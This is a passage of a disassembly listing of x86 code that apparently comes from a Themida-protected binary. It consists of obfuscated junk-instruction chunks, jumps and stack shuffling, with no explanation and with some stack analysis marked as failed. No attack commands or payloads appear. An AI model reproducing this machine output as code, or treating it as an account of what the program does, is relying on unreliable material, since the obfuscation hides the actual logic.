mov [esp+4+var_4], ebp
push esp
jmp loc_5678A4
; END OF FUNCTION CHUNK FOR sub_574287
; =============== S U B R O U T I N E =======================================
sub_56EE9F proc near ; DATA XREF: Themida_:0055FE08o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056016B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00560804 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00561279 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562381 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005627A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00563B75 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00564BB3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00564C68 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056897E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AD87 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056C65D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CCF4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056DBC3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571597 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00572930 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00575121 SIZE 00000011 BYTES
push 3382h
mov [esp+4+var_4], ebp
mov ebp, 2B5A6F22h
push eax
push ebx
jmp loc_56CCF4
sub_56EE9F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56EEB3: ; CODE XREF: sub_57146D+B65j
add esp, 2
jmp loc_56D85F
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_56EEBE: ; CODE XREF: sub_574CBE-A389j
add eax, 7831597Dh
push edx
mov edx, 52C87268h
jmp loc_572639
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5662F9
loc_56EECE: ; CODE XREF: sub_5662F9+53j
add ecx, ebp
mov ebp, [esp+8+var_8]
push 0EB7h
mov [esp+0Ch+var_C], esi
mov esi, esp
push 14F0h
jmp loc_56BB6B
; END OF FUNCTION CHUNK FOR sub_5662F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B79
loc_56EEE7: ; CODE XREF: sub_566B79+16j
add [esp+4], ecx
add dword ptr [esp+4], 6D251A85h
pop ecx
pop dword ptr [esp+0]
push 2F53h
jmp loc_564905
; END OF FUNCTION CHUNK FOR sub_566B79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_56EF01: ; CODE XREF: sub_565B6E-12B9j
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop edi
push ebp
mov ebp, 45B67638h
jmp loc_563F1E
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564CDA
loc_56EF17: ; CODE XREF: sub_564CDA+A55j
sub ebp, 0D9861ADh
jmp loc_563CE1
; END OF FUNCTION CHUNK FOR sub_564CDA
; =============== S U B R O U T I N E =======================================
sub_56EF22 proc near ; DATA XREF: Themida_:0055FF10o
mov esp, [esp+0]
jmp loc_55FF9F
sub_56EF22 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56EF2A: ; CODE XREF: sub_563A7F+58E2j
mov edx, 0
sub edx, 679C747Ch
jmp loc_5601BF
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56EF3A: ; CODE XREF: sub_571F6F-76F8j
pop edi
xchg eax, [esp+0]
mov esp, [esp+0]
push 20C7h
mov [esp+4+var_4], ebx
push 5CACh
mov [esp+8+var_8], ecx
push eax
mov ah, dl
jmp loc_5671FF
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
loc_56EF59: ; CODE XREF: Themida_:005716B2j
sub ebp, esi
pop esi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 4
sub edx, ebp
jmp loc_564D97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56EF77: ; CODE XREF: sub_5605BC+13923j
xor edx, ebx
pop ebx
sub edx, 4747672Eh
mov esi, edx
pop edx
jmp loc_574088
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_56EF88: ; CODE XREF: sub_56D3AF+392Aj
mov [esp+8+var_8], ebx
push esi
mov esi, 78B5160Bh
mov ebx, esi
pop esi
xor ebx, 14F34D30h
sub ebx, 0FDFE58D2h
add ebx, 91B7FD9Bh
push 1183h
jmp loc_561A46
; END OF FUNCTION CHUNK FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56EFB0: ; CODE XREF: sub_570E81-35CAj
mov edx, 1CAB5663h
jmp loc_56CC51
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56EFBA: ; CODE XREF: sub_571F6F-816Aj
sub bl, 70h
push dx
mov dl, 8Ch
add bl, dl
pop dx
jmp loc_570E67
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_56EFCA: ; CODE XREF: sub_5680FB+8CAFj
push [esp+8+var_8]
jmp loc_56227E
; END OF FUNCTION CHUNK FOR sub_5680FB
; =============== S U B R O U T I N E =======================================
sub_56EFD2 proc near ; CODE XREF: sub_5716E8-3F28j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00560D1D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00562643 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562F18 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00563A6E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00564DC5 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005688AD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B685 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056DF65 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005707E8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00570983 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005715BD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00573939 SIZE 00000005 BYTES
sub esp, 4
mov [esp+4+var_4], esp
jmp loc_56DF65
sub_56EFD2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_56EFDD: ; CODE XREF: sub_56B71F-155Aj
xor ebp, edx
xor edx, ebp
jmp loc_56F3FE
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680AC
loc_56EFE6: ; CODE XREF: sub_5680AC+2j
pop ebp
not edx
inc edx
dec edx
shl edx, 4
add edx, 602D6F75h
jmp loc_566935
; END OF FUNCTION CHUNK FOR sub_5680AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_56EFF9: ; CODE XREF: sub_571C0A+2D3Aj
add ebx, edi
xor ecx, [ebx]
pop ebx
push edx
push ebp
push 6BA333D1h
pop ebp
sub ebp, 2B146DC0h
xor ebp, 393B63DFh
jmp loc_567D17
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
loc_56F017: ; CODE XREF: Themida_:005701E6j
mov edx, 0CC977E4h
mov eax, edx
pop edx
add eax, 1E47DD1Ah
jmp loc_569E8E
; =============== S U B R O U T I N E =======================================
sub_56F029 proc near ; DATA XREF: Themida_:0055FF18o
var_4 = word ptr -4
var_2 = word ptr -2
xor [esp+0], bp
xor bp, [esp+0]
xor [esp+0], bp
push bp
push small 692Bh
mov [esp+4+var_4], bx
pop bp
pop bx
push small 4456h
mov [esp+2+var_2], bx
jmp sub_561826
sub_56F029 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574503
loc_56F050: ; CODE XREF: sub_574503+12j
push esi
mov esi, 703E3D20h
not esi
inc esi
add esi, 1EAC739Eh
or esi, 64992F53h
add esi, 1100C085h
sub ebx, esi
pop esi
xchg ebx, [esp+4+var_4]
jmp loc_56BBFA
; END OF FUNCTION CHUNK FOR sub_574503
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D93
loc_56F076: ; CODE XREF: sub_568D93+A3A3j
mov ebx, 5E6776ACh
jmp sub_568F83
; END OF FUNCTION CHUNK FOR sub_568D93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_56F080: ; CODE XREF: sub_571289+135Bj
dec esi
or esi, 36AF750Ch
jmp loc_56046F
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56F08C: ; CODE XREF: sub_574656-AA3Ej
mov [esp+0Ch+var_C], esi
push edi
mov edi, 3BB1319Bh
push ebx
push eax
mov eax, 73731516h
mov ebx, eax
jmp loc_573E66
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_56F0A3: ; CODE XREF: sub_571C93-67EEj
add ecx, 0CCBE5A1h
xor ecx, eax
mov eax, [esp+0Ch+var_C]
add esp, 4
sub edi, ecx
pop ecx
jmp loc_561806
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_56F0B9: ; CODE XREF: sub_561F05+5606j
push ecx
pop ebx
pop ecx
dec ebx
sub ebx, 499B3488h
xor ebx, 4A1015CCh
push ebp
sub esp, 4
mov [esp+10h+var_10], esi
mov esi, 4B62424Ch
mov ebp, 7829B116h
jmp loc_56FD40
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571F6F
loc_56F0E2: ; CODE XREF: sub_571F6F-6463j
mov dh, cl
mov bh, dh
jmp loc_5609AC
; END OF FUNCTION CHUNK FOR sub_571F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56F0EB: ; CODE XREF: sub_571088-A666j
add al, ch
pop cx
mov dx, [esp+0]
add esp, 2
sub esp, 4
mov [esp+0], ebp
mov ebp, esp
add ebp, 4
sub esp, 4
jmp loc_560FDF
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5734A7
loc_56F10C: ; CODE XREF: sub_5734A7-72BCj
pop esp
push 0
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
push edi
jmp loc_56B1FF
; END OF FUNCTION CHUNK FOR sub_5734A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566882
loc_56F11E: ; CODE XREF: sub_566882+13j
xchg ebx, [esp+4+var_4]
pop esp
mov [esp+0], edx
mov edx, esp
push ebx
mov ebx, 4
jmp sub_565849
; END OF FUNCTION CHUNK FOR sub_566882
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565849
loc_56F132: ; CODE XREF: sub_565849+CFECj
pop esp
jmp loc_564D45
; END OF FUNCTION CHUNK FOR sub_565849
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C474
loc_56F138: ; CODE XREF: sub_56C474-211Cj
add esp, 4
add ebx, edi
pop edi
jmp loc_56B03C
; END OF FUNCTION CHUNK FOR sub_56C474
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_56F143: ; CODE XREF: sub_56B1DC+8011j
push 7B4B7CD1h
pop ecx
jmp loc_56D482
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_56F14E: ; CODE XREF: sub_567CF5+69D9j
xchg esi, [esp+0]
jmp loc_574BD7
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56F156: ; CODE XREF: sub_56102D+684Cj
push [esp-4+arg_0]
pop ecx
push 11E1h
mov [esp+0], ecx
sub esp, 4
mov [esp+4+var_4], esp
push edx
mov edx, 4
add [esp+8+var_4], edx
pop edx
pop ecx
add ecx, 4
push 76F7h
jmp loc_5608DA
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56F187: ; CODE XREF: sub_568E5C-82B0j
mov esp, [esp+0]
jmp loc_56E02C
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_56F18F: ; CODE XREF: sub_5713A7-5EB1j
mov [esp+8+var_8], edi
mov edi, 9CD0959h
sub edx, edi
pop edi
push 5C1Ah
jmp loc_56F520
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
loc_56F1A4: ; CODE XREF: Themida_:00565C54j
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56F1A9: ; CODE XREF: sub_570732-6B5j
add ebx, esi
pop esi
jmp loc_5707F1
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56F1B1: ; CODE XREF: sub_574304-28DDj
xchg ebp, [esp+0]
pop esp
mov [esp-4+arg_0], edi
push 4000h
pop edi
and eax, edi
push [esp-4+arg_0]
mov edi, [esp+0]
push ebp
push esp
pop ebp
push eax
jmp loc_565734
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56F1CF: ; CODE XREF: sub_561418+10E13j
sub eax, edi
sub eax, 7AEA6268h
jmp loc_575031
; END OF FUNCTION CHUNK FOR sub_561418
; =============== S U B R O U T I N E =======================================
sub_56F1DB proc near ; CODE XREF: sub_569CBC-5AB7j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 005600B7 SIZE 0000005E BYTES
; FUNCTION CHUNK AT 0056028B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00562DC6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056332D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00564D11 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566F28 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00568EF4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00569450 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056953E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056ADBE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056C934 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056F4F2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056FE40 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571C1E SIZE 0000001B BYTES
push ebp
jmp loc_562DC6
sub_56F1DB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56F1E1: ; CODE XREF: sub_569193+7729j
mov edi, [esp+10h+var_10]
jmp loc_5749FD
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56306E
loc_56F1E9: ; CODE XREF: sub_56306E+11404j
add ecx, edx
jmp loc_5645A0
; END OF FUNCTION CHUNK FOR sub_56306E
; =============== S U B R O U T I N E =======================================
sub_56F1F0 proc near ; CODE XREF: sub_566F55+6106j
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005620E1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00562931 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00566F4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00574CFA SIZE 0000000C BYTES
push ebp
mov ebp, 760B3D46h
jmp loc_566F4A
sub_56F1F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_56F1FB: ; CODE XREF: sub_5754DA-D5A9j
pop dx
jmp loc_56CE82
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_56F202: ; CODE XREF: sub_57523A-F846j
mov edx, [esp+8+var_8]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
push esi
push eax
mov eax, 2CC13FBAh
shl eax, 6
neg eax
sub eax, 729D3DC6h
jmp loc_567E8B
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56651E
loc_56F22B: ; CODE XREF: sub_56651E+758Fj
push esp
jmp loc_569DD2
; END OF FUNCTION CHUNK FOR sub_56651E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56F231: ; CODE XREF: sub_564D26-3D7Aj
not [esp+10h+var_10]
jmp loc_569FB0
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
loc_56F239: ; CODE XREF: Themida_:00570782j
add edx, 4
jmp loc_56CF90
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5745B5
loc_56F244: ; CODE XREF: sub_5745B5-12F7Dj
mov ch, dh
jmp loc_56FCC4
; END OF FUNCTION CHUNK FOR sub_5745B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_56F24B: ; CODE XREF: sub_566400-52F9j
add eax, edi
pop edi
sub eax, edx
sub eax, 1DF80501h
pop edx
jmp loc_568448
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
loc_56F25B: ; CODE XREF: Themida_:00572878j
add ebp, esi
pop esi
push ebx
push eax
jmp loc_56E4BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FCD7
loc_56F265: ; CODE XREF: sub_56FCD7-AA86j
mov esp, [esp+0Ch+var_C]
jmp loc_573D7F
; END OF FUNCTION CHUNK FOR sub_56FCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56F26D: ; CODE XREF: sub_565632+E729j
add ebx, ebp
add ebx, 499E6BF9h
add ebx, 1D4275CDh
add ebx, 502F1CDEh
jmp loc_568808
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_56F286: ; CODE XREF: sub_5680FB+11j
xchg ebp, [esp+4+var_4]
sub esp, 4
jmp loc_56B7A6
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56F294: ; CODE XREF: sub_57146D-1116Bj
xor al, bh
mov ebx, [esp+4+var_4]
jmp loc_56D835
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5715F0
loc_56F29E: ; CODE XREF: sub_5715F0-D834j
add dword ptr [esp+8], 6D49345Ch
pop ecx
jmp loc_560296
; END OF FUNCTION CHUNK FOR sub_5715F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56F2AC: ; CODE XREF: sub_57146D-CBFj
xor bh, ah
add ah, 0FFh
not ah
sub esp, 2
mov word ptr [esp+8+var_8], dx
push 38A9h
mov [esp+0Ch+var_C], ecx
mov ch, ah
mov dh, ch
pop ecx
push edx
push eax
mov al, bh
mov dl, al
pop eax
mov ah, dl
pop edx
push ecx
mov cl, dh
sub esp, 4
mov [esp+10h+var_10], edx
mov dl, cl
push ecx
mov cl, dl
jmp loc_571F92
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56F2EA: ; CODE XREF: sub_565632+8E48j
push edx
jmp loc_573D30
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_56F2F0: ; CODE XREF: sub_575315-C889j
mov ebp, [esp+0]
add esp, 4
xor ebp, 5820000Ch
jmp loc_563583
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
loc_56F304: ; CODE XREF: Themida_:00573C8Fj
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push edx
mov edx, esp
jmp loc_56C0DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56F318: ; CODE XREF: sub_571088-5EE0j
dec edi
xor edi, 1732C7Bh
xor edi, 59D34262h
add ebp, edi
pop edi
pop edi
push ebp
push dword ptr [esp+4]
jmp loc_564134
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569AB3
loc_56F333: ; CODE XREF: sub_569AB3-9A62j
add eax, 0B9C1BC92h
add ebp, eax
pop eax
sub ebp, 4
jmp loc_5749EE
; END OF FUNCTION CHUNK FOR sub_569AB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD36
loc_56F343: ; CODE XREF: sub_56BD36-9EB9j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56BD36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_56F348: ; CODE XREF: sub_56FA44+498j
mov esp, [esp+0]
shr [esp-4+arg_0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_56F355: ; CODE XREF: sub_571890+3669j
add esi, edx
pop edx
xchg esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
push 2864h
mov [esp-4+arg_0], ebx
push 6A17h
mov [esp+0], ecx
mov ecx, 65577F12h
dec ecx
jmp loc_5698E7
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5610CE
loc_56F379: ; CODE XREF: sub_5610CE+10177j
pop edx
jmp loc_568A5E
; END OF FUNCTION CHUNK FOR sub_5610CE
; ---------------------------------------------------------------------------
loc_56F37F: ; CODE XREF: Themida_:0056CECDj
pop edx
or edi, esi
pop esi
push 10B4h
mov [esp], ebx
mov ebx, 539B409Ch
jmp loc_568780
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_56F395: ; CODE XREF: sub_571088-2203j
mov cl, 0D4h
add bl, cl
jmp loc_565713
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56F39E: ; CODE XREF: sub_56B06D-4E70j
xor ebp, 6341375Eh
inc ebp
and ebp, 3D994820h
neg ebp
jmp loc_5667AC
; END OF FUNCTION CHUNK FOR sub_56B06D
; =============== S U B R O U T I N E =======================================
sub_56F3B2 proc near ; DATA XREF: Themida_:0055FEB0o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560A35 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00562C1F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005651F2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005671B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569408 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056C953 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CE2A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056DBE5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DF43 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056E88D SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00571D2B SIZE 00000008 BYTES
mov cx, [esp+0]
jmp loc_571D2B
sub_56F3B2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56F3BB: ; CODE XREF: sub_569FB8+6B5Bj
mov dh, ah
push ecx
mov ch, dh
mov bl, ch
pop ecx
pop edx
push [esp+0Eh+var_E]
pop eax
add esp, 4
mov ecx, [esp+0Ah+var_A]
push 5AB2h
mov [esp+0Eh+var_E], edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp+0Eh+var_E]
jmp loc_5745CF
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56F3EC: ; CODE XREF: sub_565632+5F05j
push edi
mov edi, 43492386h
and ecx, edi
jmp loc_574716
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_56F3F9: ; CODE XREF: sub_573612-896Cj
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_56F3FE: ; CODE XREF: sub_56B71F+38C2j
not ebp
sub esp, 4
jmp loc_567F67
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DD54
loc_56F40B: ; CODE XREF: sub_56DD54+6j
and ebp, 0AEE2C51h
jmp loc_561B70
; END OF FUNCTION CHUNK FOR sub_56DD54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_56F416: ; CODE XREF: sub_5604FE+37A7j
mov eax, esp
add eax, 4
add eax, 4
xor eax, [esp+8+var_8]
xor [esp+8+var_8], eax
xor eax, [esp+8+var_8]
pop esp
push 5B0Ah
mov [esp+8+var_8], edi
mov edi, 3D225AF7h
and edi, 59F45FBCh
add edi, 11603309h
jmp loc_56D55B
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_56F448: ; CODE XREF: sub_56E126+547Fj
xor ebx, eax
pop eax
push esi
mov esi, 535E4AEFh
jmp loc_56DCAD
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_56F456: ; CODE XREF: sub_572DD7+5D3j
mov [esp+4+var_4], ebx
mov ebx, 18725E8Bh
add dword ptr [esp+4], 247A6EF6h
add [esp+4], ebx
sub dword ptr [esp+4], 247A6EF6h
pop ebx
add dword ptr [esp+0], 20CD74EDh
push 46DCh
mov [esp+4+var_4], esi
mov esi, 48EF75E9h
jmp loc_5648CC
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_56F48C: ; CODE XREF: sub_561F05+F244j
pop eax
add esi, edx
mov edx, [esp+4+var_4]
push eax
jmp loc_56FB1B
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56F498: ; CODE XREF: sub_574656+1j
mov ebp, 4
add edi, ebp
pop ebp
xchg edi, [esp+0]
mov esp, [esp+0]
push eax
mov eax, esp
add eax, 4
jmp loc_56922A
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56F4B3: ; CODE XREF: sub_565632-1AC2j
mov edi, [esp+0]
jmp loc_56F837
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572E16
loc_56F4BB: ; CODE XREF: sub_572E16-12738j
pop esi
sub esp, 4
mov [esp+8+var_8], edx
mov edx, 4
add eax, edx
mov edx, [esp+8+var_8]
add esp, 4
jmp loc_562454
; END OF FUNCTION CHUNK FOR sub_572E16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56F4D7: ; CODE XREF: sub_5605BC+34j
add edx, edi
jmp loc_567510
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_56F4DE: ; CODE XREF: sub_571890-1038Bj
push [esp+8+var_8]
pop eax
push ecx
jmp loc_561AD8
; END OF FUNCTION CHUNK FOR sub_571890
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56F4E8: ; CODE XREF: sub_56FA15-403Cj
mov ebx, 4
jmp loc_575350
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F1DB
loc_56F4F2: ; CODE XREF: sub_56F1DB+2A59j
pop esp
mov [esp-4+arg_0], eax
push 13510169h
push dword ptr [esp+0]
push [esp+4+var_4]
pop eax
jmp loc_56332D
; END OF FUNCTION CHUNK FOR sub_56F1DB
; ---------------------------------------------------------------------------
